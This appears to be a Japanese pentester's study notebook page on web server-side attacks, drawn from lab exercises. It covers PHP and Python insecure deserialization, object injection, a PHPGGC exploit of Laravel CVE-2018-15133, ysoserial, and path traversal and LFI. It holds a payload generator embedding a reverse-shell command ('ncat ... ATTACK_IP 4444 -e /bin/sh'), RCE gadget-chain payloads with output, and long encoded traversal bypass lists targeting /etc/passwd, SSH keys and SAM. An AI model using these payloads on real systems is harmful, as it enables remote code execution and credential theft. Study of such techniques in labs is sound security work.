> For the complete documentation index, see [llms.txt](https://snowyowls-organization.gitbook.io/snowyowl644-hacklog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://snowyowls-organization.gitbook.io/snowyowl644-hacklog/pentest_technique/web-server-side-attack.md).

# Web Server Side Attack

## htmlソースでの検索

* コメントの検索
  * 1ページずつ見る必要ない
    * Scrapyを使えばいい！！！
    * 全ページ(robots.txt以外のdisallow以外のページ)のコメントを取得して集めてくれる
      * obsidian://open?vault=Obsidian\&file=Pentest\_Technique%2FLinux%E3%83%BBWindows%E5%85%B1%E9%80%9A
  * 内部IPアドレスやAPIキー、パスワードが見つかることもある
  * 検索ボックスに「`<!--`」を入れて検索
* キーの検索
  * 検索ボックスに以下を入れて検索
  * `key`
  * `keys`
  * `api`
  * `password`
  * `credential`
  * `<input type="hidden">`
    * 隠しフィールドの値を書き換える
* CMSについての検索
  * CMSが使われていればCMSの脆弱性をつくこともできる
  * 検索ボックスに
    * wordpress
    * drupal
    * joomla
  * を入れて検索

## SSRF

\[\[Server-Side Attacks#SSRF]]

## Injection

* \[\[Pentest\_Technique/SQL Injection]]
* \[\[Advanced\_SQL\_Injection]]
  * 以下のペイロードでの辞書攻撃も有効
  * <https://github.com/payloadbox/sql-injection-payload-list>
* \[\[NoSQL\_Injection]]
* \[\[Server-Side Attacks#ORM Injection]]
* \[\[Web Server Side Attack#XXE インジェクション]]
* \[\[Server-Side Attacks#SSTI]]
* \[\[Server-Side Attacks#SSIインジェクション]]
* \[\[Server-Side Attacks#XSLTインジェクション]]
* \[\[Server-Side Attacks#LDAP Injection]]

## 安全でないデシリアライズーション

* アプリがシリアル化されたデータを信頼して、検証しないで使うこと
  * シリアル化とは
    * メモなどの情報を集めて、保管したり友達に送ったりすること
    * シリアル化されたデータは、解凍(デシリアライズ)することで使える
    * Java, Net,PHPなどで、リモートプロシージャやセッション管理に使われる
      * リモートプロシージャとは
        * ネットワークを介して、他のPCで実行してる関数を実行できる
* RCE、PEとか、DoSにつながる

### シリアル化の形式

#### PHP

* PHPでは、シリアル化は、`serialize()`関数を使用して実行する

```php
<?php
$noteArray = array("title" => "My THM Note", "content" => "Welcome to THM!");
$serialisedNote = serialize($noteArray);  // Converting the note into a storable format
file_put_contents('note.txt', $serialisedNote);  // Saving the serialised note to a file
?>
```

シリアル化されると、以下のような感じになる

```php
a:2:{s:5:"title";s:12:"My THM Note";s:7:"content";s:12:"Welcome to THM!";
```

デシリアライズはこんな感じで行う

```php
<?php
$serialisedNote = file_get_contents('note.txt');  // Reading the serialised note from the file
$noteArray = unserialize($serialisedNote);  // Converting the serialised string back into a PHP array
echo "Title: " . $noteArray['title'] . "<br>";
echo "Content: " . $noteArray['content'];
?>
```

例 : シリアライズとデシリアライズを処理するためのNotesというPHPクラス

```php
class Notes {
    public $Notescontent;

    public function __construct($content) {
        $this->Notescontent = $content;
    }
}
```

こんな感じで使って、クラスに引数を渡してシリアライズできる

```php
$note = new Notes("Welcome to THM");
$serialized_note = serialize($note);
```

$serialized\_noteの中身 `O:5:"Notes":1:{s:7:"content";s:11:"Welcome THM";}`

* `O:5:"Notes":1:`
  * シリアル化されたデータが1 つのプロパティを持つクラス**Notes**のオブジェクトを表すことを示す
* `s:7:"content"`
  * s：これは「string（文字列）」を表す
  * 7：この後に続く文字列（ここでは “content”）の文字数
  * “content”：実際のプロパティ名や値・ダブルクォーテーションで囲まれている
  * 整数は、sが`i`に変わり、 引用符なしで数値を続けて表される
* `s:11:"Welcome THM"`
  * s：これは「string（文字列）」を表す
  * 11：この後に続く文字列（ここでは “content”）の文字数
  * “Welcome THM”：実際のプロパティ名や値・ダブルクォーテーションで囲まれている

#### Python

* オブジェクトのシリアライズとデシリアライズにpickleを使う
  * 機械学習とかでも使うよね

Notesクラスの作成

```python
import pickle
import base64

...
serialized_data = request.form['serialized_data']
notes_obj = pickle.loads(base64.b64decode(serialized_data))
message = "Notes successfully unpickled."
...

elif request.method == 'POST':
    if 'pickle' in request.form:
        content = request.form['note_content']
        notes_obj.add_note(content)
        pickled_content = pickle.dumps(notes_obj)
        serialized_data = base64.b64encode(pickled_content).decode('utf-8')
        binary_data = ' '.join(f'{x:02x}' for x in pickled_content)
        message = "Notes pickled successfully."
```

`pickle.dumps()`で、Notesクラスをシリアル化する ピックル化の流れ ￼

* ノートクラスを作成
* ‎`pickle.dumps()`でシリアライズ（バイナリ化）
* バイナリデータを‎`base64.b64encode()`でBase64文字列に変換（表示や送信に安全）

デシリアライゼーション

* Base64文字列を‎`base64.b64decode()`でバイナリに戻す
* ‎`pickle.loads()`でオブジェクトに復元

#### 他の言語

* Java … ‎`Serializable`インターフェースでバイトストリーム化
* .NET … 以前は‎`BinaryFormatter`、現在は‎`System.Text.Json`や‎`System.Xml.Serialization`が主流
* Ruby … ‎`Marshal`モジュールでバイナリシリアライズ、YAMLで人間可読な形式も利用

### マジックメソッド

PHPマジックメソッド一覧

* <https://www.php.net/manual/en/language.oop5.magic.php>

重要なメソッド

* `__sleep()`
  * シリアル化の前にオブジェクトに対して呼び出される
  * データベース接続などのリソースをクリーンアップし、シリアル化すべきプロパティ名の配列を返すことが期待される
* `__wakeup()`
  * デシリアライズ時に呼び出される
  * オブジェクトが正しく動作するために必要な接続を再確立できる
* `__serialize()`
  * PHP 7.4 以降、このメソッドを使用すると、オブジェクトのシリアル化された形式を表す配列を返すことによって、シリアル化データをカスタマイズできる
* `__unserialize()`
  * `__serialize()`シリアル化されたデータからオブジェクトの復元をカスタマイズできる

### 識別

ホワイトボックス

* コード内に、`serialize()`、‎`unserialize()`、‎`pickle.loads()`などのシリアライズを行う関数が使用されるときに、ユーザーからの入力がこれらの関数に直接渡されていて、サニタイズされていないかを注意深く見る
  * サニタイズされていなかったら、脆弱性があるかもしれないチャンス

ブラックボックス

* **phpファイルで、末尾に`~`をつけてアクセスする**
  * 攻撃者がテキストエディタやバージョン管理システムによって作成されたバックアップやtmpファイルを探す一般的な手法
  * ファイルが編集・保存されると、一部のテキストエディタやバージョン管理システムは、元のファイルのバックアップコピーをチルダ付きのファイル名で作成するから
* **サーバーレスポンスの分析**
  * エラーメッセージ
    * PHPは ‎`unserialize()` や「Object deserialisation error」といったフレーズを含むエラーや警告を出すことがある
    * シリアライズの処理での脆弱性を示している
* アプリケーション動作の不整合
  * クッキーやPOSTを改ざんした時のエラーもヒントになる可能性があるので、細かくチェックする
* クッキーの調査
  * Webアプリケーションでは、クッキーにシリアライズされたデータを保存することがよくある
  * クッキー内のBase64エンコード値（PHPや.NET）
    * クッキーにBase64エンコードされたようなデータが含まれている場合、それをデコードするとシリアライズされたオブジェクトやデータ構造が現れることがある。
    * PHPはセッション管理やセッション変数の保存にシリアライズをよく使う
  * ASP.NETのViewState
    * .NETアプリケーションは、クライアントのブラウザに送信するViewStateでシリアライズを利用することがある
    * ‎`__VIEWSTATE`という名前のフィールドがBase64エンコードされている場合がある
      * これをデコードして調べることで、悪用可能なシリアライズデータが含まれているか確認できる

### Exploit

#### クッキーの編集

ブラウザに保存されるクッキーを変更することで、許可されていないアクセスを行う 以下のアプリで、user\_dataという名前でクッキーが保存されている ![](https://i.imgur.com/zYpSLSd.png) 保存されているCookie

* `Tzo1OiJOb3RlcyI6Mzp7czo0OiJ1c2VyIjtzOjU6Imd1ZXN0IjtzOjQ6InJvbGUiO3M6NToiZ3Vlc3QiO3M6MTI6ImlzU3Vic2NyaWJlZCI7YjowO30%3D`
* これをデコードすると、`O:5:"Notes":3:{s:4:"user";s:5:"guest";s:4:"role";s:5:"guest";s:12:"isSubscribed";b:0;}7`となる
* 注目すべき点
* `"isSubscribed";b:0;`
  * この`b`は、bool値だとわかる
  * 現在は、`0`なので、Falseだと考えられる、そして、`1`にすればTrueとなり、本来許可されていないアクセスが行なえると考える
  * CyberChefでエンコードして、ブラウザのクッキーを編集する ![](https://i.imgur.com/AI1PuO4.png)

#### オブジェクトインジェクション

* Webアプリケーションでの安全でないデシリアライズから発生する脆弱性
* **信頼できないデータをオブジェクトとしてデシリアライズ**することによって発生し、攻撃者はシリアライズされたデータを操作してRCEできるようになる

PHP

* オブジェクトインジェクションを悪用するには、通常 `__wakeup` や `__sleep` などの**マジックメソッド**を持つクラスを利用する
  * これらは、`unserialize()` 関数を呼び出す前に定義している必要がある
  * または、オートローダーが設定されている必要がある

攻撃の流れ

1. 攻撃者が MaliciousUserData オブジェクトを生成し、$command に悪意のあるコマンドをセット。
2. それをシリアライズ & base64エンコード。
3. 出力された文字列（例：TzoxNzoiTWFsaWNp...）をターゲットURLに渡す：
   * <http://10.10.245.98/case2/?decode=\\[エンコード済みの文字列>]
4. ターゲットの index.php がそれを unserialize() → \_\_wakeup() 実行 → **コマンド実行**
5. 攻撃者マシン（AttackBox）で nc -nvlp 4444 を起動しておくと、**リモートシェル接続が確立される**

例のにする攻撃対象アプリ

* URLパラメータに encode または decode を指定することで、エンコード／デコードを切り替えられる

```php
<?php
class UserData {
    private $data;
    public function __construct($data) {
        $this->data = $data;
    }
...

require 'test.php';

if(isset($_GET['encode'])) {
    $userData = new UserData($_GET['encode']);
    $serializedData = serialize($userData);
    $base64EncodedData = base64_encode($serializedData);
    echo "通常のデータ: " . $_GET['encode'] . "<br>";
    echo "シリアライズデータ: " . $serializedData . "<br>";
    echo "Base64エンコードデータ: " . $base64EncodedData;

} elseif(isset($_GET['decode'])) {
    $base64EncodedData = $_GET['decode'];
    $serializedData = base64_decode($base64EncodedData);
    $test = unserialize($serializedData);
    echo "Base64エンコード済みシリアライズデータ: " . $base64EncodedData . "<br>";
    echo "シリアライズデータ: " . $serializedData;
...
```

* `$serializedData`をそのまま`unserialize()`関数に入れているのが問題

**ペイロードの作成**

前提条件

* 対象PHPファイルが unserialize() を使っている
* MaliciousUserData クラスが test.php に定義されており、`__wakeup()` に `exec($this->command)` がある
* そのクラス構造を知っている（= ソースコードが確認できている）
* PHPで悪意あるオブジェクトを生成する
  * 名前は、`generate_payload.php`とする

```php
<?php
class MaliciousUserData {
    public $command = 'ncat -nv ATTACK_IP 4444 -e /bin/sh';
}

$maliciousUserData = new MaliciousUserData();
$serializedData = serialize($maliciousUserData);
$base64EncodedData = base64_encode($serializedData);
echo "Base64エンコード済みシリアライズデータ: " . $base64EncodedData;
?>
```

次のコマンドを実行する

* Base64エンコードされた攻撃用シリアライズ文字列が出力される

```sh
php generate_payload.php
```

リバースシェルを受け取る準備

```sh
nc -nvlp 4444
```

ターゲットに攻撃用URLでアクセス

* 例のアプリ : `http://10.10.245.98/case2/?decode=[php generate_payload.phpで出力された文字列]`

### 自動化ツール

#### PHPGCC

* PHP Gadget Chain
* PHPオブジェクトインジェクション攻撃に使用されるガジェットチェーンを生成するためのツール

主な機能

* ガジェットチェーン
  * PHPGGC は、様々なPHPフレームワークやライブラリに対するガジェットチェーンのライブラリを提供する
  * 攻撃用に仕込まれたオブジェクト（クラス）の組み合わせで、任意のコードを実行する仕組み
* ペイロード生成
  * シリアライズされたペイロードを作成し、脆弱性を引き起こすトリガーとして使える
* カスタマイズ
  * ガジェットチェーンに渡す関数やメソッドの引数を指定することで、ペイロードをカスタマイズできる
  * これにより、任意のコマンドを実行できる

インストール

```sh
git clone https://github.com/ambionics/phpggc
cd phpggc
```

ガジェットチェーンの一覧表示

* VECTORは、`__destruct`を利用して悪用できることを指す

```
./phpggc -l
```

**攻撃例**

* ターゲット : LaravelのWebサイトをターゲットとし、**CVE-2018-15133** の既知の脆弱性を利用
  * この脆弱性は、Laravelが X-XSRF-TOKEN に含まれる信頼できないデータを**デシリアライズする際**に発生する
  * Laravelのバージョンは、5.6.29

この脆弱性を悪用するには、主に以下の3つのステップが必要 1. APP\_KEY を取得する（XSRFトークンの暗号化に使われる鍵） 2. PHPGGC を使用して、任意コマンドを実行するペイロードを生成 3. そのペイロードを APP\_KEY を用いて暗号化し、POSTリクエストで送信

**ステップ1：APP\_KEYの取得**

![](https://i.imgur.com/bEIqP7Z.png)

**ステップ2：使用するガジェットチェーンの特定**

* `-l`の後に、ライブラリの名前をつけることで、できる

```sh
└─$ ./phpggc -l Laravel

Gadget Chains
-------------

NAME             VERSION                  TYPE                  VECTOR        I    
Laravel/FD1      *                        File delete           __destruct    *    
Laravel/RCE1     5.4.27                   RCE: Function Call    __destruct         
Laravel/RCE2     5.4.0 <= 8.6.9+          RCE: Function Call    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35          RCE: Function Call    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+          RCE: Function Call    __destruct         
Laravel/RCE5     5.8.30                   RCE: PHP Code         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35          RCE: PHP Code         __destruct    *    
Laravel/RCE7     ? <= 8.16.1              RCE: Function Call    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+          RCE: Function Call    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+          RCE: Function Call    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+          RCE: Function Call    __toString         
Laravel/RCE11    5.4.0 <= 9.1.8+          RCE: Function Call    __destruct         
Laravel/RCE12    5.8.35, 7.0.0, 9.3.10    RCE: Function Call    __destruct    *    
Laravel/RCE13    5.3.0 <= 9.5.1+          RCE: Function Call    __destruct    *    
Laravel/RCE14    5.3.0 <= 9.5.1+          RCE: Function Call    __destruct         
Laravel/RCE15    5.5.0 <= v9.5.1+         RCE: Function Call    __destruct         
Laravel/RCE16    5.6.0 <= v9.5.1+         RCE: Function Call    __destruct         
Laravel/RCE17    10.31.0                  RCE: Function Call    __destruct         
Laravel/RCE18    10.31.0                  RCE: PHP Code         __destruct    *    
Laravel/RCE19    10.34                    RCE: Command          __destruct         
Laravel/RCE20    5.6 <= 10.x              RCE: Function Call    __destruct         
Laravel/RCE21    5.1.*                    RCE: Function Call    __destruct         
Laravel/RCE22    v10.0.0 <= v11.34.2+     RCE: Function Call    __destruct     
```

ペイロードを作成する

* ここではwhoamiを実行する
* このペイロードは、Laravelの通知機能を悪用して assert("whoami") を実行させる仕組み
* **ここで必ず、出力をそのままbase64に変換**しないとダメ
  * 平文をCyberChefでBase64にしても、 見た目が似ていても、文字列の中身は別物なので失敗する

```sh
└─$ ./phpggc Laravel/RCE3 system whoami | base64 -w 0
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mzk6IklsbHVtaW5hdGVcTm90aWZpY2F0aW9uc1xDaGFubmVsTWFuYWdlciI6Mzp7czo2OiIAKgBhcHAiO3M6Njoid2hvYW1pIjtzOjE3OiIAKgBkZWZhdWx0Q2hhbm5lbCI7czoxOiJ4IjtzOjE3OiIAKgBjdXN0b21DcmVhdG9ycyI7YToxOntzOjE6IngiO3M6Njoic3lzdGVtIjt9fX0K 
```

引数あるコマンドはこうする

* `./phpggc Laravel/RCE3 system "uname -r" | base64 -w 0`

Base64にする ![](https://i.imgur.com/vSLQpQ6.png)

**ステップ3 : 暗号化済みのCSRFトークンが生成する**

* Laravelでは、セッション情報やCSRFトークンを**シリアライズして暗号化したCookie**で管理する
* なので、以下のようにして、CSRFトークンを生成する

```sh
http://10.10.245.98:8089/cve.php?app_key=HgJVgWjqPKZoJexCzzpN64NZjjVrzIVU5dSbGcW1ZgY=&payload=Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mzk6IklsbHVtaW5hdGVcTm90aWZpY2F0aW9uc1xDaGFubmVsTWFuYWdlciI6Mzp7czo2OiIAKgBhcHAiO3M6Njoid2hvYW1pIjtzOjE3OiIAKgBkZWZhdWx0Q2hhbm5lbCI7czoxOiJ4IjtzOjE3OiIAKgBjdXN0b21DcmVhdG9ycyI7YToxOntzOjE6IngiO3M6Njoic3lzdGVtIjt9fX0%3D
```

CSRFトークンが生成された

* XSRFトークンと、CSRFトークンは意味は同じだけど、一部のフレームワークやライブラリが表記として XSRF を使っているだけ ![](https://i.imgur.com/5wgfdDh.png)

**ステップ4 : 攻撃の実行**

* 取得できたCSRFトークンを使って、攻撃を実行できる

````sh
└─$ curl 10.10.245.98:8089 -X POST -H 'X-XSRF-TOKEN:eyJpdiI6ImRVMHBTU0FCS3JERVF4cjA3eTA3N0E9PSIsInZhbHVlIjoiRXhPd1RvXC9rM0t4SFFFRGd0SzVFVHFrWWk5WXZMSFwvMmVKYVZDODhMamRPNndpUHZcL2ZUQVJQUkdhdzltSmp6SWlTOWZLVHUrUkYrMzJtanJcL1poWSs2Q3pGdlc5S2d3RnVaV0VaYnp3XC8rNjRHVVhsZWhUZldFQ3lxMHQrNVIzOHhuVXcweVdOWFliSk9uZWNJUFAyS3NYSURnaVBWSXY2YWtPbGV0SzVmY2NBNWJScFwvMHBnWGpndkxsZXpBRFI0b01zd1EyUHZQV2ducE8yd05YRm1Ec05jM3NKWHh1TXBOTlQ4UWhhd282XC9zY1Nsb1hwYkZEVFhzeG9VUVlQZmxpYXRuK2NNSFptZFhlcngwUWFDSEpONUdZbjhNRUVYclwvS3piRDJqS0lLYUZMN05RMzgrSEdtb1hXdE9ialVEMSIsIm1hYyI6IjE3ODljY2QzZTEyNjE0NjYxYWNlY2Y3MWFkMjA2M2Q2YzA2ZDMxOGRjMGQ0YzI1ZTg2OTA5MmNhYTcwOTYyN2YifQ==' | head -n 2
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0root
<!DOCTYPE html><!--
100  5108    0  5108    0     0   7245      0 --:--:-- --:--:-- --:--:--  7245
curl: (23) Failure writing output to destination, passed 6385 returned 3084


```



### Ysoserial
- Java アプリケーションに対するシリアライズ脆弱性のセキュリティテストを目的として特別に開発された、広く認識されているエクスプロイトツール

インストール
```sh
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
````

実行

```sh
java -jar ysoserial.jar [ペイロードタイプ] '[実行したいコマンド]'
```

* `[ペイロードタイプ]`：利用する脆弱性の種類（例：CommonsCollections1）
* `[実行したいコマンド]`：ターゲットシステム上で実行したい任意のコマンド

例

* calc.exe（電卓）を実行するように設計された**シリアライズされたJavaオブジェクト**を生成する

```sh
java -jar ysoserial.jar CommonsCollections1 'calc.exe'
```

## ディレクトリトラバーサル

URLパラメータの末尾の変更

```
http://<SERVER_IP>:<PORT>/index.php?language=es.php ⇨　?language=../../../../etc/passwd 
```

のように親フォルダを遡る

* いくら`../`を重ねても`/`ディレクトリよりも上にはいかないので、基本的に`../`を10個くらいつ投げれば攻撃は成功する
* **Linux環境なら`/etc/passwd`、Windowsなら`C:\Windows\boot.ini`が定番の読み取り対象**

入力値がinclude()関数に直接渡されているときに機能する

```php
include($_GET['language']);
```

### Windowsサーバー特有のPath

LFIがあるかのチェック

* `..\..\..\..\Windows\System32\drivers\etc\hosts`
* `..\..\..\..\Windows\win.ini`
* `..\..\..\..\Windows\System.ini`
* `..\..\..\..\Windows\System32\config\SAM`
* `..\..\..\..\boot.ini (Windows XP/2003)`

ユーザー情報が含まれる可能性があるファイル

* `..\..\..\..\Windows\Panther\Unattend.xml`
* `..\..\..\..\Windows\Panther\Unattended.xml`
* `..\..\..\..\Windows\System32\sysprep\unattend.xml`
* `..\..\..\..\Windows\System32\sysprep\sysprep.xml`

IISの設定ファイル

* \`........\inetpub\wwwroot\web.config IISのログ
* `..\..\..\..\inetpub\logs\LogFiles\W3SVC1\`

### 基本的なバイパス手法

* 通常、うまくいくことはなく、なんらかのXSSに対する対策もされている
* しかし、その対策をすり抜けて、XSSを実行することができる
* `/etc/passwd`
  * パストラバーサルの`../`は全て削除されているが、直接ファイルを読み込めるかも
* `../../../../../../../../etc/passwd`

**非再帰型パストラバーサルフィルター** 最も基本的な「検索&置換フィルター」 例えば、以下のように「../」を削除することでパスとラバーサルを防ごうとするもの `$language = str_replace('../', '', $_GET['language']);` この文字列に対して、`../` を1回だけ削除するフィルターを通すと、結果は `../` となり、パストラバーサルが成立してしまう `http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwd`

非再帰型パストラバーサルフィルターに対するバイパス手法

* `....//....//....//....//....//....//....//etc/passwd`
* `....//....//....//....//....//....//....//etc/passwd`
* `..././..././..././..././..././..././..././etc/passwd`
* `....\/....\/....\/....\/....\/....\/....\/etc/passwd`
* `....////....////....////....////....////etc/passwd`

**エンコーディングによるバイパス** 一部のWebフィルターでは、LFIに関連する特定の文字（例：ドット . やスラッシュ /）が含まれる入力をブロックすることがある しかし、これらの**文字をURLエンコード**することで、フィルターをすり抜けることができる場合がある なので、通常のディレクトリとラバーサルの攻撃をエンコーディングすればできる時もある さらに、Burp Decoderを使って**二重エンコード**（double encoding）すれば、他のフィルターにもバイパスできる可能性が広がる

エンコードするときに使えるツール

* <https://tech-unlimited.com/urlencode.html>
* burpsuite

バイパスペイロード

* `%2Fetc%2Fpasswd`
* `%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd`
* `%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd`
  * 二重エンコードしたもの
    * `.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd`
      * offsec

非再帰型パストラバーサルフィルターに対するバイパス手法をurlエンコードしたペイロード

* `%2E%2E%2E%2E%2F%2F%2E%2E%2E%2E%2F%2F%2E%2E%2E%2E%2F%2F%2E%2E%2E%2E%2F%2F%2E%2E%2E%2E%2F%2F%2E%2E%2E%2E%2F%2F%2E%2E%2E%2E%2F%2Fetc%2Fpasswd`
* `%2E%2E%2E%2E%2F%2F%2E%2E%2E%2E%2F%2F%2E%2E%2E%2E%2F%2F%2E%2E%2E%2E%2F%2F%2E%2E%2E%2E%2F%2F%2E%2E%2E%2E%2F%2F%2E%2E%2E%2E%2F%2Fetc%2Fpasswd`
* `%2E%2E%2E%2F%2E%2F%2E%2E%2E%2F%2E%2F%2E%2E%2E%2F%2E%2F%2E%2E%2E%2F%2E%2F%2E%2E%2E%2F%2E%2F%2E%2E%2E%2F%2E%2F%2E%2E%2E%2F%2E%2Fetc%2Fpasswd`
* `%2E%2E%2E%2E%5C%2F%2E%2E%2E%2E%5C%2F%2E%2E%2E%2E%5C%2F%2E%2E%2E%2E%5C%2F%2E%2E%2E%2E%5C%2F%2E%2E%2E%2E%5C%2F%2E%2E%2E%2E%5C%2Fetc%2Fpasswd`
* `%2E%2E%2E%2E%2F%2F%2F%2F%2E%2E%2E%2E%2F%2F%2F%2F%2E%2E%2E%2E%2F%2F%2F%2F%2E%2E%2E%2E%2F%2F%2F%2F%2E%2E%2E%2E%2F%2F%2F%2Fetc%2Fpasswd`

非再帰型パストラバーサルフィルターに対するバイパス手法をurlダブルエンコードしたペイロード

* `%252E%252E%252E%252E%252F%252F%252E%252E%252E%252E%252F%252F%252E%252E%252E%252E%252F%252F%252E%252E%252E%252E%252F%252F%252E%252E%252E%252E%252F%252F%252E%252E%252E%252E%252F%252F%252E%252E%252E%252E%252F%252Fetc%252Fpasswd`
* `%252E%252E%252E%252E%252F%252F%252E%252E%252E%252E%252F%252F%252E%252E%252E%252E%252F%252F%252E%252E%252E%252E%252F%252F%252E%252E%252E%252E%252F%252F%252E%252E%252E%252E%252F%252F%252E%252E%252E%252E%252F%252Fetc%252Fpasswd`
* `%252E%252E%252E%252F%252E%252F%252E%252E%252E%252F%252E%252F%252E%252E%252E%252F%252E%252F%252E%252E%252E%252F%252E%252F%252E%252E%252E%252F%252E%252F%252E%252E%252E%252F%252E%252F%252E%252E%252E%252F%252E%252Fetc%252Fpasswd`
* `%252E%252E%252E%252E%255C%252F%252E%252E%252E%252E%255C%252F%252E%252E%252E%252E%255C%252F%252E%252E%252E%252E%255C%252F%252E%252E%252E%252E%255C%252F%252E%252E%252E%252E%255C%252F%252E%252E%252E%252E%255C%252Fetc%252Fpasswd`
* `%252E%252E%252E%252E%252F%252F%252F%252F%252E%252E%252E%252E%252F%252F%252F%252F%252E%252E%252E%252E%252F%252F%252F%252F%252E%252E%252E%252E%252F%252F%252F%252F%252E%252E%252E%252E%252F%252F%252F%252Fetc%252Fpasswd`

**許可されたパス** 一部のWebアプリケーションでは、**正規表現**を使って、インクルードできるファイルを特定のパス配下に制限している場合がある

以下のように `./languages`ディレクトリ内にあるファイルだけを許可しているコードがある

```php
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
    include($_GET['language']);
} else {
    echo 'Illegal path specified!';
}
```

こうしたケースでは、まずアプリが通常使っているパス（例：フォームやリンクから送信されるリクエスト）を観察し、どのようなパスが使われているかを確認する その後、同じパス内のディレクトリをファズ（fuzz）して、使えるパスを探すこともできる

これをバイパスする方法としては、まず許可されたパスから始めて、そのあとに `../` を使って上位ディレクトリに遡り、目的のファイルを指定する手法がある

* `./languages/../../../../etc/passwd`

**拡張子の付加** 一部のWebアプリケーションでは、ユーザー入力の末尾に自動的に拡張子（例：.php）を付け加えることで、インクルードされるファイルの拡張子を制限する 現在のPHPのバージョンでは、こうした処理をバイパスするのは難しく、結果として読み込めるファイルも.phpに限られる 古いPHPバージョン（5.3や5.4より前）でのみ有効な手法もいくつか存在する

**パストランケーション** 古いPHPバージョンでは、文字列の最大長が4096文字に制限されていた（おそらく32ビットシステムによる制限） この制限を超えた部分は単純に切り捨てられ、無視される さらに、以前のPHPではパスの末尾にあるスラッシュ / やドット . も自動的に削除される つまり /etc/passwd/. のようなパスは、/. が消えて /etc/passwd として解釈される

* `////etc/passwd → /etc/passwd`
* `/etc/./passwd → /etc/passwd`

これらの特性を組み合わせれば、非常に長い文字列を作って4096文字を超えさせることで、**末尾に自動的に付加された拡張子 .php を切り捨てさせる**ことが可能 この手法が機能するには、パスの先頭に存在しないディレクトリ名を置く必要がある

次のようなペイロードが例

```url
?language=non_existing_directory/../../../etc/passwd/./././././ （←これを約2048回繰り返す）
```

もちろん、これを手作業で2048回書く必要はなく、以下のようなコマンドで自動生成できる

```shell-session
snowyowl644@htb[/htb]$ echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
```

**Null Bytes**

* PHP 5.5より前のバージョンには、ヌルバイトインジェクションの脆弱性が存在していた
* この脆弱性では、入力文字列の末尾に\*\*ヌルバイト（%00）\*\*を追加することで、その後の文字列が無視される、というもの
* 低レベルのメモリ処理に起因するもので、CやC++などの言語では、文字列の終端をヌルバイトで示す仕組みがある
* そのため、%00が現れると、その後の内容が「存在しない」として扱われる

この脆弱性を利用するには、たとえば以下のようにペイロードを送る

* `/etc/passwd%00`
* `/etc/passwd%00.php`
  * PHPは %00 を見た時点で文字列が終わったと判断し、それ以降の .php を無視して、結果的に /etc/passwd を読み込ませることができる
  * 自動で付加された拡張子をバイパスすることが可能になる
* NULLバイト攻撃（PHP古いバージョン）: `.php%00` で拡張子偽装
* 拡張子が付加されていることもよくある

```
include($_GET['language'] . ".php");
```

* ファイルアップロード＋LFIでRCEに持ち込むパターンもある

### 価値あるファイルの探し方

#### Linux

**優先度高** /etc/passwd

\~/.ssh/id\_rsa id\_dsa、id\_ecdsa、is\_eddsaも

* /etc/passwdで見つけたユーザーのディレクトリに対しても。例 : /home/<ユーザー名>/.ssh/id\_rsa(id\_dsa...)

/var/log/apache2/access.log /var/log/auth.log /var/log/xferlog /var/log/vsftpd.log

**優先度中** 辞書ファイルでffuf \[\[192.168.223.245#FFUF]]

* <https://zsecure.uk/blog/linux-path-traversal-lfi-wordlist/>
* ディレクトリトラバーサルからexploitに繋げるためのアドバイス
  * <https://www.reddit.com/r/oscp/comments/1ae050m/path\\_traversal/>

## LFI

\[\[Web Server Side Attack#自動スキャン]]を見れば良い、 LFI（ローカルファイルインクルージョン）とは？

* サーバー内のファイルを「URLのパラメータ操作」で読み込ませる脆弱性
  * 例: `index.php?page=about` → `../../etc/passwd` に変えて内部ファイルを見ようとする

なぜ危険なのか？

* ソースコードの中身が見えるようになる
  * 他の脆弱性（SQLインジェクション、認証回避）を探す手がかりに
* サーバー上の機密情報が漏れる
  * DBのパスワードやAPIキー、認証情報など
* 条件によってはリモートでコードを実行できる（RCE）
  * 攻撃者がファイルをアップロードできる場合などは特に注意

#### LFIが起こりうる関数

| **Function**                 | **Read Content** | **Execute** | **Remote URL** |
| ---------------------------- | :--------------: | :---------: | :------------: |
| **PHP**                      |                  |             |                |
| `include()`/`include_once()` |         ✅        |      ✅      |        ✅       |
| `require()`/`require_once()` |         ✅        |      ✅      |        ❌       |
| `file_get_contents()`        |         ✅        |      ❌      |        ✅       |
| `fopen()`/`file()`           |         ✅        |      ❌      |        ❌       |
| **NodeJS**                   |                  |             |                |
| `fs.readFile()`              |         ✅        |      ❌      |        ❌       |
| `fs.sendFile()`              |         ✅        |      ❌      |        ❌       |
| `res.render()`               |         ✅        |      ✅      |        ❌       |
| **Java**                     |                  |             |                |
| `include`                    |         ✅        |      ❌      |        ❌       |
| `import`                     |         ✅        |      ✅      |        ✅       |
| **.NET**                     |                  |             |                |
| `@Html.Partial()`            |         ✅        |      ❌      |        ❌       |
| `@Html.RemotePartial()`      |         ✅        |      ❌      |        ✅       |
| `Response.WriteFile()`       |         ✅        |      ❌      |        ❌       |
| `include`                    |         ✅        |      ✅      |        ✅       |

#### 攻撃者のテクニック

**PHPフィルター**

PHPフィルターとは？

* `php://filter/` という特殊なスキームで、ファイルの内容を変換できる仕組み
